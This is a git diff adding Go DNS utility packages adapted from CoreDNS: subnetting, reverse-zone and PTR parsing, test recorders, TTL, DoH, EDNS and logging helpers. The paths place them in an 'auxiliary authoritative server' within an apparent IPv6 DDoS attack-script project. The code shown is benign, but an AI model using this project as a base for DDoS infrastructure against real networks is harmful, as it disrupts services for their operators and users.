||||
|
||||
mask := int(math.Ceil(float64(ones)/float64(boundary))) * boundary
|
||||
networks := nets(n, mask)
|
||||
cidrs := make([]string, len(networks))
|
||||
for i := range networks {
|
||||
cidrs[i] = networks[i].String()
|
||||
}
|
||||
return cidrs
|
||||
}
|
||||
|
||||
// nets return a slice of prefixes with the desired mask subnetted from original network.
|
||||
func nets(network *net.IPNet, newPrefixLen int) []*net.IPNet {
|
||||
prefixLen, _ := network.Mask.Size()
|
||||
maxSubnets := int(math.Exp2(float64(newPrefixLen)) / math.Exp2(float64(prefixLen)))
|
||||
nets := []*net.IPNet{{IP: network.IP, Mask: net.CIDRMask(newPrefixLen, 8*len(network.IP))}}
|
||||
|
||||
for i := 1; i < maxSubnets; i++ {
|
||||
next, exceeds := cidr.NextSubnet(nets[len(nets)-1], newPrefixLen)
|
||||
nets = append(nets, next)
|
||||
if exceeds {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return nets
|
||||
}
|
||||
|
||||
// Reverse return the reverse zones that are authoritative for each net in ns.
|
||||
func Reverse(nets []string) []string {
|
||||
rev := make([]string, len(nets))
|
||||
for i := range nets {
|
||||
ip, n, _ := net.ParseCIDR(nets[i])
|
||||
r, err1 := dns.ReverseAddr(ip.String())
|
||||
if err1 != nil {
|
||||
continue
|
||||
}
|
||||
ones, bits := n.Mask.Size()
|
||||
// get the size, in bits, of each portion of hostname defined in the reverse address. (8 for IPv4, 4 for IPv6)
|
||||
sizeDigit := 8
|
||||
if len(n.IP) == net.IPv6len {
|
||||
sizeDigit = 4
|
||||
}
|
||||
// Get the first lower octet boundary to see what encompassing zone we should be authoritative for.
|
||||
mod := (bits - ones) % sizeDigit
|
||||
nearest := (bits - ones) + mod
|
||||
offset := 0
|
||||
var end bool
|
||||
for i := 0; i < nearest/sizeDigit; i++ {
|
||||
offset, end = dns.NextLabel(r, offset)
|
||||
if end {
|
||||
break
|
||||
}
|
||||
}
|
||||
rev[i] = r[offset:]
|
||||
}
|
||||
return rev
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package dnstest
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MultiRecorder is a type of ResponseWriter that captures all messages written to it.
|
||||
type MultiRecorder struct {
|
||||
Len int
|
||||
Msgs []*dns.Msg
|
||||
Start time.Time
|
||||
dns.ResponseWriter
|
||||
}
|
||||
|
||||
// NewMultiRecorder makes and returns a new MultiRecorder.
|
||||
func NewMultiRecorder(w dns.ResponseWriter) *MultiRecorder {
|
||||
return &MultiRecorder{
|
||||
ResponseWriter: w,
|
||||
Msgs: make([]*dns.Msg, 0),
|
||||
Start: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// WriteMsg records the message and its length written to it and call the
|
||||
// underlying ResponseWriter's WriteMsg method.
|
||||
func (r *MultiRecorder) WriteMsg(res *dns.Msg) error {
|
||||
r.Len += res.Len()
|
||||
r.Msgs = append(r.Msgs, res)
|
||||
return r.ResponseWriter.WriteMsg(res)
|
||||
}
|
||||
|
||||
// Write is a wrapper that records the length of the messages that get written to it.
|
||||
func (r *MultiRecorder) Write(buf []byte) (int, error) {
|
||||
n, err := r.ResponseWriter.Write(buf)
|
||||
if err == nil {
|
||||
r.Len += n
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package dnstest
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Recorder is a type of ResponseWriter that captures
|
||||
// the rcode code written to it and also the size of the message
|
||||
// written in the response. A rcode code does not have
|
||||
// to be written, however, in which case 0 must be assumed.
|
||||
// It is best to have the constructor initialize this type
|
||||
// with that default status code.
|
||||
type Recorder struct {
|
||||
dns.ResponseWriter
|
||||
Rcode int
|
||||
Len int
|
||||
Msg *dns.Msg
|
||||
Start time.Time
|
||||
}
|
||||
|
||||
// NewRecorder makes and returns a new Recorder,
|
||||
// which captures the DNS rcode from the ResponseWriter
|
||||
// and also the length of the response message written through it.
|
||||
func NewRecorder(w dns.ResponseWriter) *Recorder {
|
||||
return &Recorder{
|
||||
ResponseWriter: w,
|
||||
Rcode: 0,
|
||||
Msg: nil,
|
||||
Start: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// WriteMsg records the status code and calls the
|
||||
// underlying ResponseWriter's WriteMsg method.
|
||||
func (r *Recorder) WriteMsg(res *dns.Msg) error {
|
||||
r.Rcode = res.Rcode
|
||||
// We may get called multiple times (axfr for instance).
|
||||
// Save the last message, but add the sizes.
|
||||
r.Len += res.Len()
|
||||
r.Msg = res
|
||||
return r.ResponseWriter.WriteMsg(res)
|
||||
}
|
||||
|
||||
// Write is a wrapper that records the length of the message that gets written.
|
||||
func (r *Recorder) Write(buf []byte) (int, error) {
|
||||
n, err := r.ResponseWriter.Write(buf)
|
||||
if err == nil {
|
||||
r.Len += n
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
// Package dnstest allows for easy testing of DNS client against a test server.
|
||||
package dnstest
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
)
|
||||
|
||||
// A Server is an DNS server listening on a system-chosen port on the local
|
||||
// loopback interface, for use in end-to-end DNS tests.
|
||||
type Server struct {
|
||||
Addr string // Address where the server listening.
|
||||
|
||||
s1 *dns.Server // udp
|
||||
s2 *dns.Server // tcp
|
||||
}
|
||||
|
||||
// NewServer starts and returns a new Server. The caller should call Close when
|
||||
// finished, to shut it down.
|
||||
func NewServer(f dns.HandlerFunc) *Server {
|
||||
dns.HandleFunc(".", f)
|
||||
|
||||
ch1 := make(chan bool)
|
||||
ch2 := make(chan bool)
|
||||
|
||||
s1 := &dns.Server{} // udp
|
||||
s2 := &dns.Server{} // tcp
|
||||
|
||||
for i := 0; i < 5; i++ { // 5 attempts
|
||||
s2.Listener, _ = reuseport.Listen("tcp", ":0")
|
||||
if s2.Listener == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
s1.PacketConn, _ = net.ListenPacket("udp", s2.Listener.Addr().String())
|
||||
if s1.PacketConn != nil {
|
||||
break
|
||||
}
|
||||
|
||||
// perhaps UPD port is in use, try again
|
||||
s2.Listener.Close()
|
||||
s2.Listener = nil
|
||||
}
|
||||
if s2.Listener == nil {
|
||||
panic("dnstest.NewServer(): failed to create new server")
|
||||
}
|
||||
|
||||
s1.NotifyStartedFunc = func() { close(ch1) }
|
||||
s2.NotifyStartedFunc = func() { close(ch2) }
|
||||
go s1.ActivateAndServe()
|
||||
go s2.ActivateAndServe()
|
||||
|
||||
<-ch1
|
||||
<-ch2
|
||||
|
||||
return &Server{s1: s1, s2: s2, Addr: s2.Listener.Addr().String()}
|
||||
}
|
||||
|
||||
// Close shuts down the server.
|
||||
func (s *Server) Close() {
|
||||
s.s1.Shutdown()
|
||||
s.s2.Shutdown()
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package dnsutil
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExtractAddressFromReverse turns a standard PTR reverse record name
|
||||
// into an IP address. This works for ipv4 or ipv6.
|
||||
//
|
||||
// 54.119.58.176.in-addr.arpa. becomes 176.58.119.54. If the conversion
|
||||
// fails the empty string is returned.
|
||||
func ExtractAddressFromReverse(reverseName string) string {
|
||||
search := ""
|
||||
|
||||
f := reverse
|
||||
|
||||
switch {
|
||||
case strings.HasSuffix(reverseName, IP4arpa):
|
||||
search = strings.TrimSuffix(reverseName, IP4arpa)
|
||||
case strings.HasSuffix(reverseName, IP6arpa):
|
||||
search = strings.TrimSuffix(reverseName, IP6arpa)
|
||||
f = reverse6
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
// Reverse the segments and then combine them.
|
||||
return f(strings.Split(search, "."))
|
||||
}
|
||||
|
||||
// IsReverse returns 0 is name is not in a reverse zone. Anything > 0 indicates
|
||||
// name is in a reverse zone. The returned integer will be 1 for in-addr.arpa. (IPv4)
|
||||
// and 2 for ip6.arpa. (IPv6).
|
||||
func IsReverse(name string) int {
|
||||
if strings.HasSuffix(name, IP4arpa) {
|
||||
return 1
|
||||
}
|
||||
if strings.HasSuffix(name, IP6arpa) {
|
||||
return 2
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func reverse(slice []string) string {
|
||||
for i := 0; i < len(slice)/2; i++ {
|
||||
j := len(slice) - i - 1
|
||||
slice[i], slice[j] = slice[j], slice[i]
|
||||
}
|
||||
ip := net.ParseIP(strings.Join(slice, ".")).To4()
|
||||
if ip == nil {
|
||||
return ""
|
||||
}
|
||||
return ip.String()
|
||||
}
|
||||
|
||||
// reverse6 reverse the segments and combine them according to RFC3596:
|
||||
// b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2
|
||||
// is reversed to 2001:db8::567:89ab
|
||||
func reverse6(slice []string) string {
|
||||
for i := 0; i < len(slice)/2; i++ {
|
||||
j := len(slice) - i - 1
|
||||
slice[i], slice[j] = slice[j], slice[i]
|
||||
}
|
||||
slice6 := []string{}
|
||||
for i := 0; i < len(slice)/4; i++ {
|
||||
slice6 = append(slice6, strings.Join(slice[i*4:i*4+4], ""))
|
||||
}
|
||||
ip := net.ParseIP(strings.Join(slice6, ":")).To16()
|
||||
if ip == nil {
|
||||
return ""
|
||||
}
|
||||
return ip.String()
|
||||
}
|
||||
|
||||
const (
|
||||
// IP4arpa is the reverse tree suffix for v4 IP addresses.
|
||||
IP4arpa = ".in-addr.arpa."
|
||||
// IP6arpa is the reverse tree suffix for v6 IP addresses.
|
||||
IP6arpa = ".ip6.arpa."
|
||||
)
|
||||
51
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go
Normal file
51
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go
Normal file
@@ -0,0 +1,51 @@
|
||||
package dnsutil
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// MinimalTTL scans the message returns the lowest TTL found taking into the response.Type of the message.
|
||||
func MinimalTTL(m *dns.Msg, mt response.Type) time.Duration {
|
||||
if mt != response.NoError && mt != response.NameError && mt != response.NoData {
|
||||
return MinimalDefaultTTL
|
||||
}
|
||||
|
||||
// No records or OPT is the only record, return a short ttl as a fail safe.
|
||||
if len(m.Answer)+len(m.Ns) == 0 &&
|
||||
(len(m.Extra) == 0 || (len(m.Extra) == 1 && m.Extra[0].Header().Rrtype == dns.TypeOPT)) {
|
||||
return MinimalDefaultTTL
|
||||
}
|
||||
|
||||
minTTL := MaximumDefaulTTL
|
||||
for _, r := range m.Answer {
|
||||
if r.Header().Ttl < uint32(minTTL.Seconds()) {
|
||||
minTTL = time.Duration(r.Header().Ttl) * time.Second
|
||||
}
|
||||
}
|
||||
for _, r := range m.Ns {
|
||||
if r.Header().Ttl < uint32(minTTL.Seconds()) {
|
||||
minTTL = time.Duration(r.Header().Ttl) * time.Second
|
||||
}
|
||||
}
|
||||
|
||||
for _, r := range m.Extra {
|
||||
if r.Header().Rrtype == dns.TypeOPT {
|
||||
// OPT records use TTL field for extended rcode and flags
|
||||
continue
|
||||
}
|
||||
if r.Header().Ttl < uint32(minTTL.Seconds()) {
|
||||
minTTL = time.Duration(r.Header().Ttl) * time.Second
|
||||
}
|
||||
}
|
||||
return minTTL
|
||||
}
|
||||
|
||||
const (
|
||||
// MinimalDefaultTTL is the absolute lowest TTL we use in CoreDNS.
|
||||
MinimalDefaultTTL = 5 * time.Second
|
||||
// MaximumDefaulTTL is the maximum TTL was use on RRsets in CoreDNS.
|
||||
MaximumDefaulTTL = 1 * time.Hour
|
||||
)
|
||||
133
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/doh/doh.go
Normal file
133
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/doh/doh.go
Normal file
@@ -0,0 +1,133 @@
|
||||
package doh
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// MimeType is the DoH mimetype that should be used.
|
||||
const MimeType = "application/dns-message"
|
||||
|
||||
// Path is the URL path that should be used.
|
||||
const Path = "/dns-query"
|
||||
|
||||
// NewRequest returns a new DoH request given a HTTP method, URL and dns.Msg.
|
||||
//
|
||||
// The URL should not have a path, so please exclude /dns-query. The URL will
|
||||
// be prefixed with https:// by default, unless it's already prefixed with
|
||||
// either http:// or https://.
|
||||
func NewRequest(method, url string, m *dns.Msg) (*http.Request, error) {
|
||||
buf, err := m.Pack()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||
url = fmt.Sprintf("https://%s", url)
|
||||
}
|
||||
|
||||
switch method {
|
||||
case http.MethodGet:
|
||||
b64 := base64.RawURLEncoding.EncodeToString(buf)
|
||||
|
||||
req, err := http.NewRequest(
|
||||
http.MethodGet,
|
||||
fmt.Sprintf("%s%s?dns=%s", url, Path, b64),
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
return req, err
|
||||
}
|
||||
|
||||
req.Header.Set("content-type", MimeType)
|
||||
req.Header.Set("accept", MimeType)
|
||||
return req, nil
|
||||
|
||||
case http.MethodPost:
|
||||
req, err := http.NewRequest(
|
||||
http.MethodPost,
|
||||
fmt.Sprintf("%s%s?bla=foo:443", url, Path),
|
||||
bytes.NewReader(buf),
|
||||
)
|
||||
if err != nil {
|
||||
return req, err
|
||||
}
|
||||
|
||||
req.Header.Set("content-type", MimeType)
|
||||
req.Header.Set("accept", MimeType)
|
||||
return req, nil
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("method not allowed: %s", method)
|
||||
}
|
||||
}
|
||||
|
||||
// ResponseToMsg converts a http.Response to a dns message.
|
||||
func ResponseToMsg(resp *http.Response) (*dns.Msg, error) {
|
||||
defer resp.Body.Close()
|
||||
|
||||
return toMsg(resp.Body)
|
||||
}
|
||||
|
||||
// RequestToMsg converts a http.Request to a dns message.
|
||||
func RequestToMsg(req *http.Request) (*dns.Msg, error) {
|
||||
switch req.Method {
|
||||
case http.MethodGet:
|
||||
return requestToMsgGet(req)
|
||||
|
||||
case http.MethodPost:
|
||||
return requestToMsgPost(req)
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("method not allowed: %s", req.Method)
|
||||
}
|
||||
}
|
||||
|
||||
// requestToMsgPost extracts the dns message from the request body.
|
||||
func requestToMsgPost(req *http.Request) (*dns.Msg, error) {
|
||||
defer req.Body.Close()
|
||||
return toMsg(req.Body)
|
||||
}
|
||||
|
||||
// requestToMsgGet extract the dns message from the GET request.
|
||||
func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
|
||||
values := req.URL.Query()
|
||||
b64, ok := values["dns"]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("no 'dns' query parameter found")
|
||||
}
|
||||
if len(b64) != 1 {
|
||||
return nil, fmt.Errorf("multiple 'dns' query values found")
|
||||
}
|
||||
return base64ToMsg(b64[0])
|
||||
}
|
||||
|
||||
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
|
||||
buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m := new(dns.Msg)
|
||||
err = m.Unpack(buf)
|
||||
return m, err
|
||||
}
|
||||
|
||||
func base64ToMsg(b64 string) (*dns.Msg, error) {
|
||||
buf, err := b64Enc.DecodeString(b64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
m := new(dns.Msg)
|
||||
err = m.Unpack(buf)
|
||||
|
||||
return m, err
|
||||
}
|
||||
|
||||
var b64Enc = base64.RawURLEncoding
|
||||
70
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/edns/edns.go
Normal file
70
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/edns/edns.go
Normal file
@@ -0,0 +1,70 @@
|
||||
// Package edns provides function useful for adding/inspecting OPT records to/in messages.
|
||||
package edns
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"github.com/miekg/dns"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var sup = &supported{m: make(map[uint16]struct{})}
|
||||
|
||||
type supported struct {
|
||||
m map[uint16]struct{}
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
// SetSupportedOption adds a new supported option the set of EDNS0 options that we support. Plugins typically call
|
||||
// this in their setup code to signal support for a new option.
|
||||
// By default we support:
|
||||
// dns.EDNS0NSID, dns.EDNS0EXPIRE, dns.EDNS0COOKIE, dns.EDNS0TCPKEEPALIVE, dns.EDNS0PADDING. These
|
||||
// values are not in this map and checked directly in the server.
|
||||
func SetSupportedOption(option uint16) {
|
||||
sup.Lock()
|
||||
sup.m[option] = struct{}{}
|
||||
sup.Unlock()
|
||||
}
|
||||
|
||||
// SupportedOption returns true if the option code is supported as an extra EDNS0 option.
|
||||
func SupportedOption(option uint16) bool {
|
||||
sup.RLock()
|
||||
_, ok := sup.m[option]
|
||||
sup.RUnlock()
|
||||
return ok
|
||||
}
|
||||
|
||||
// Version checks the EDNS version in the request. If error
|
||||
// is nil everything is OK and we can invoke the plugin. If non-nil, the
|
||||
// returned Msg is valid to be returned to the client (and should).
|
||||
func Version(req *dns.Msg) (*dns.Msg, error) {
|
||||
opt := req.IsEdns0()
|
||||
if opt == nil {
|
||||
return nil, nil
|
||||
}
|
||||
if opt.Version() == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(req)
|
||||
|
||||
o := new(dns.OPT)
|
||||
o.Hdr.Name = "."
|
||||
o.Hdr.Rrtype = dns.TypeOPT
|
||||
o.SetVersion(0)
|
||||
m.Rcode = dns.RcodeBadVers
|
||||
o.SetExtendedRcode(dns.RcodeBadVers)
|
||||
m.Extra = []dns.RR{o}
|
||||
|
||||
return m, errors.New("EDNS0 BADVERS")
|
||||
}
|
||||
|
||||
// Size returns a normalized size based on proto.
|
||||
func Size(proto string, size uint16) uint16 {
|
||||
if proto == "tcp" {
|
||||
return dns.MaxMsgSize
|
||||
}
|
||||
if size < dns.MinMsgSize {
|
||||
return dns.MinMsgSize
|
||||
}
|
||||
return size
|
||||
}
|
||||
39
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/http/http.go
Normal file
39
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/http/http.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package http
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// ParseRequest 解析HTTP请求中的URL参数,目前仅支持GET方法
|
||||
func ParseRequest(req *http.Request) (map[string][]string, error) {
|
||||
switch req.Method {
|
||||
case http.MethodGet:
|
||||
return getRequest(req)
|
||||
case http.MethodPost:
|
||||
return postRequest(req)
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("method not allowed: %s", req.Method)
|
||||
}
|
||||
}
|
||||
|
||||
func getRequest(req *http.Request) (map[string][]string, error) {
|
||||
r := make(map[string][]string)
|
||||
for k, v := range req.URL.Query() {
|
||||
r[k] = v
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// 支持json方式处理
|
||||
func postRequest(req *http.Request) (map[string][]string, error) {
|
||||
r := make(map[string][]string)
|
||||
decoder := json.NewDecoder(req.Body)
|
||||
err := decoder.Decode(&r)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
139
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/listener.go
Normal file
139
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/listener.go
Normal file
@@ -0,0 +1,139 @@
|
||||
package log
|
||||
|
||||
import "sync"
|
||||
|
||||
// Listener listens for all log prints of plugin loggers aka loggers with plugin name.
|
||||
// When a plugin logger gets called, it should first call the same method in the Listener object.
|
||||
// A usage example is, the external plugin k8s_event will replicate log prints to Kubernetes events.
|
||||
type Listener interface {
|
||||
Name() string
|
||||
Debug(plugin string, v ...interface{})
|
||||
Debugf(plugin string, format string, v ...interface{})
|
||||
Info(plugin string, v ...interface{})
|
||||
Infof(plugin string, format string, v ...interface{})
|
||||
Warning(plugin string, v ...interface{})
|
||||
Warningf(plugin string, format string, v ...interface{})
|
||||
Error(plugin string, v ...interface{})
|
||||
Errorf(plugin string, format string, v ...interface{})
|
||||
Fatal(plugin string, v ...interface{})
|
||||
Fatalf(plugin string, format string, v ...interface{})
|
||||
}
|
||||
|
||||
type listeners struct {
|
||||
listeners []Listener
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
var ls *listeners
|
||||
|
||||
func init() {
|
||||
ls = &listeners{}
|
||||
ls.listeners = make([]Listener, 0)
|
||||
}
|
||||
|
||||
// RegisterListener register a listener object.
|
||||
func RegisterListener(new Listener) error {
|
||||
ls.Lock()
|
||||
defer ls.Unlock()
|
||||
for k, l := range ls.listeners {
|
||||
if l.Name() == new.Name() {
|
||||
ls.listeners[k] = new
|
||||
return nil
|
||||
}
|
||||
}
|
||||
ls.listeners = append(ls.listeners, new)
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeregisterListener deregister a listener object.
|
||||
func DeregisterListener(old Listener) error {
|
||||
ls.Lock()
|
||||
defer ls.Unlock()
|
||||
for k, l := range ls.listeners {
|
||||
if l.Name() == old.Name() {
|
||||
ls.listeners = append(ls.listeners[:k], ls.listeners[k+1:]...)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (ls *listeners) debug(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Debug(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) debugf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Debugf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) info(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Info(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) infof(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Infof(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) warning(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Warning(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) warningf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Warningf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) error(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Error(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) errorf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Errorf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) fatal(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Fatal(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) fatalf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Fatalf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
113
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/log.go
Normal file
113
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/log.go
Normal file
@@ -0,0 +1,113 @@
|
||||
// Package log implements a small wrapper around the std lib log package. It
|
||||
// implements log levels by prefixing the logs with [INFO], [DEBUG], [WARNING]
|
||||
// or [ERROR]. Debug logging is available and enabled if the *debug* plugin is
|
||||
// used.
|
||||
//
|
||||
// log.Info("this is some logging"), will log on the Info level.
|
||||
//
|
||||
// log.Debug("this is debug output"), will log in the Debug level, etc.
|
||||
package log
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
golog "log"
|
||||
"os"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// D controls whether we should output debug logs. If true, we do, once set
|
||||
// it can not be unset.
|
||||
var D = &d{}
|
||||
|
||||
type d struct {
|
||||
on bool
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
// Set enables debug logging.
|
||||
func (d *d) Set() {
|
||||
d.Lock()
|
||||
d.on = true
|
||||
d.Unlock()
|
||||
}
|
||||
|
||||
// Clear disables debug logging.
|
||||
func (d *d) Clear() {
|
||||
d.Lock()
|
||||
d.on = false
|
||||
d.Unlock()
|
||||
}
|
||||
|
||||
// Value returns if debug logging is enabled.
|
||||
func (d *d) Value() bool {
|
||||
d.RLock()
|
||||
b := d.on
|
||||
d.RUnlock()
|
||||
return b
|
||||
}
|
||||
|
||||
// logf calls log.Printf prefixed with level.
|
||||
func logf(level, format string, v ...interface{}) {
|
||||
golog.Print(level, fmt.Sprintf(format, v...))
|
||||
}
|
||||
|
||||
// log calls log.Print prefixed with level.
|
||||
func log(level string, v ...interface{}) {
|
||||
golog.Print(level, fmt.Sprint(v...))
|
||||
}
|
||||
|
||||
// Debug is equivalent to log.Print(), but prefixed with "[DEBUG] ". It only outputs something
|
||||
// if D is true.
|
||||
func Debug(v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
log(debug, v...)
|
||||
}
|
||||
|
||||
// Debugf is equivalent to log.Printf(), but prefixed with "[DEBUG] ". It only outputs something
|
||||
// if D is true.
|
||||
func Debugf(format string, v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
logf(debug, format, v...)
|
||||
}
|
||||
|
||||
// Info is equivalent to log.Print, but prefixed with "[INFO] ".
|
||||
func Info(v ...interface{}) { log(info, v...) }
|
||||
|
||||
// Infof is equivalent to log.Printf, but prefixed with "[INFO] ".
|
||||
func Infof(format string, v ...interface{}) { logf(info, format, v...) }
|
||||
|
||||
// Warning is equivalent to log.Print, but prefixed with "[WARNING] ".
|
||||
func Warning(v ...interface{}) { log(warning, v...) }
|
||||
|
||||
// Warningf is equivalent to log.Printf, but prefixed with "[WARNING] ".
|
||||
func Warningf(format string, v ...interface{}) { logf(warning, format, v...) }
|
||||
|
||||
// Error is equivalent to log.Print, but prefixed with "[ERROR] ".
|
||||
func Error(v ...interface{}) { log(err, v...) }
|
||||
|
||||
// Errorf is equivalent to log.Printf, but prefixed with "[ERROR] ".
|
||||
func Errorf(format string, v ...interface{}) { logf(err, format, v...) }
|
||||
|
||||
// Fatal is equivalent to log.Print, but prefixed with "[FATAL] ", and calling
|
||||
// os.Exit(1).
|
||||
func Fatal(v ...interface{}) { log(fatal, v...); os.Exit(1) }
|
||||
|
||||
// Fatalf is equivalent to log.Printf, but prefixed with "[FATAL] ", and calling
|
||||
// os.Exit(1)
|
||||
func Fatalf(format string, v ...interface{}) { logf(fatal, format, v...); os.Exit(1) }
|
||||
|
||||
// Discard sets the log output to /dev/null.
|
||||
func Discard() { golog.SetOutput(io.Discard) }
|
||||
|
||||
const (
|
||||
debug = "[DEBUG] "
|
||||
err = "[ERROR] "
|
||||
fatal = "[FATAL] "
|
||||
info = "[INFO] "
|
||||
warning = "[WARNING] "
|
||||
)
|
||||
91
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/plugin.go
Normal file
91
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/plugin.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package log
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
// P is a logger that includes the plugin doing the logging.
|
||||
type P struct {
|
||||
plugin string
|
||||
}
|
||||
|
||||
// NewWithPlugin returns a logger that includes "plugin/name: " in the log message.
|
||||
// I.e [INFO] plugin/<name>: message.
|
||||
func NewWithPlugin(name string) P { return P{"plugin/" + name + ": "} }
|
||||
|
||||
func (p P) logf(level, format string, v ...interface{}) {
|
||||
log(level, p.plugin, fmt.Sprintf(format, v...))
|
||||
}
|
||||
|
||||
func (p P) log(level string, v ...interface{}) {
|
||||
log(level+p.plugin, v...)
|
||||
}
|
||||
|
||||
// Debug logs as log.Debug.
|
||||
func (p P) Debug(v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
ls.debug(p.plugin, v...)
|
||||
p.log(debug, v...)
|
||||
}
|
||||
|
||||
// Debugf logs as log.Debugf.
|
||||
func (p P) Debugf(format string, v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
ls.debugf(p.plugin, format, v...)
|
||||
p.logf(debug, format, v...)
|
||||
}
|
||||
|
||||
